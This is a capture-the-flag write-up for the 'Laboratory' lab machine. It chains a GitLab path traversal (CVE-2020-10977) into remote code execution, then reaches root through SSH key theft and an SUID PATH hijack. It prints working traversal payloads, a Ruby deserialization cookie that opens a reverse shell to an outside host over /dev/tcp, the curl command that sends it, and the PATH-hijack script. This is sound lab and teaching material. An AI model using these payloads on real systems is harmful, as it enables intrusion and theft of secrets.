Laboratory is a Linux machine with a GitLab web application running in a docker container. Exploiting an arbitrary file read vulnerability can be leveraged to get remote code execution. Once a shell is obtained, setting the admin permissions of a newly created user can be used to get access to another admin user's private repo which contains an SSH key. Privileges can then be escalated by exploiting an SUID binary resulting in root level access.
nmap
scan:
Open ports:
- 22 (SSH)
- 80 (HTTP)
- 443 (HTTPS)
HTTP redirected to HTTPS laboratory.htb
and another hostname was listed with the domain git.laboratory.htb
. So I added both of those domains to the /etc/hosts
file.
Webpage at laboratory.htb
:
laboratory.htb
didn't seem to show anything that useful, so next I visited git.laboratory.htb
which led to a sign in page for GitLab.
When I tried to register with the email of mike@test.com
, it threw an error saying that the email domain is not authorized for sign-up.
Using an email with the domain of @laboratory.htb
solved the issue.
Logging in brought up the home page for the GitLab instance.
Viewing the explore projects page showed a project titled SecureWebsite.
The code for this project was the website running on laboratory.htb
.
The creator of this project was Dexter McPherson with the user name dexter
.
Viewing the help page showed the GitLab version.
Searching for any vulnerabilities for GitLab version 12.8.1 brought up CVE-2020-10977 which states that this version of GitLab is vulnerable to a path traversal when moving an issue between projects, this means that with the right payload an arbitrary file read can occur.
This exploitation report on hackerone provides the steps for the arbitrary file read.
Create two new projects.
Then, create a new issue in project-1 with the following description which is a directory traversal payload that pulls and copies an arbitrary file once it is moved to another project:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
Next, move the issue into project-2.
The passwd
file is now linked within project-2.
I downloaded the passwd
file:
The passwd
file didn't have anything that useful, but as stated in the hackerone report mentioned above, the arbitrary file read vulnerability can be used to get RCE by getting the secret_key_base
from /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
and using the experimentation_subject_id
cookie with a Marshalled payload.
To get the secret key, I created a new issue with the following description:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
Then, I moved this issue to another project.
And the secrets.yml
file was linked.
Viewing secrets.yml
showed the secret key.
I needed to create an instance of GitLab on my machine to build the serialized object with the same secret_key_base
as the git.laboratory.htb
instance in order to run the deserialization attack.
The PortSwigger article here goes into more detail on deserialization.
So first I used docker to pull version 12.8.1 of GitLab.
I ran the docker container:
Confirmed the container was running:
Started a shell in the docker container:
Then, I edited the secrets.yml
file of this docker container located at /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
to use the secret key found earlier from git.laboratory.htb
.
Restarted GitLab:
Started the ruby console:
Next, I ran the following Ruby code in the console which creates a cookie with a serialized payload. When the cookie is sent to the server, it will deserialize it with Ruby's Marshal module and also cause DeprecatedInstanceVariableProxy to be deserialized which will in turn execute the bash command that sends a reverse shell:
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `bash -c 'bash -i >& /dev/tcp/10.10.14.62/5555 0>&1'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
Copied the cookie:
Started a listener with nc
:
Sent the cookie to https://git.laboratory.htb/users/sign_in
curl -vvv 'https://git.laboratory.htb/users/sign_in' -k -b
"experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidSNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjYyLzU1NTUgMD4mMSdgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--a9e4579d00c262e6d684e38e6621e62053717cdc"
Obtained a shell:
Seeing .dockerenv
after running ls -la /
showed that I was in a docker container.
I started the rails console to do some further enumeration on the GitLab instance.
Running User.active
showed the users for The Laboratory and User.admins
showed the users with admin permissions. The user that I created (mike
with an id of 5
) didn't have admin access.
So I set my user account to admin with the following commands:
u = User.find(5)
u.admin = true
u.save!
Back on GitLab, I now had access to the admin area.
With admin access, I was able to view an additional project called SecureDocker
The project contained a private SSH key in /securedocker/dexter/.ssh/id_rsa
I copied the SSH key into a file called dexter.key, and then logged in:
This is where user.txt
can be found.
Next, I checked SUID binaries to see if any can be exploited for privilege escalation:
/usr/local/bin/docker-security
was owned by dexter
and also in the /local
directory which was unusual.
So I ran ltrace
and found that it executes chmod
using a relative path. When a file doesn't use absolute paths, it will rely on the PATH
variable to execute binaries. This can therefore be leveraged to execute arbitrary commands by creating a custom chmod
file within a writable directory, then adding that directory to the beginning of the PATH
variable, and in this case, chmod
will contain a bash command that spawns a shell as root
.
I created a new script called chmod
with the following bash command:
#!/bin/bash
bash
Made it executable:
Then, I added the current working directory to the path so that when the chmod
file gets executed, it will pull it from /home/dexter
export PATH=$(pwd):$PATH
When I ran /usr/local/bin/docker-security
, it executed the custom chmod
file and spawned a root shell.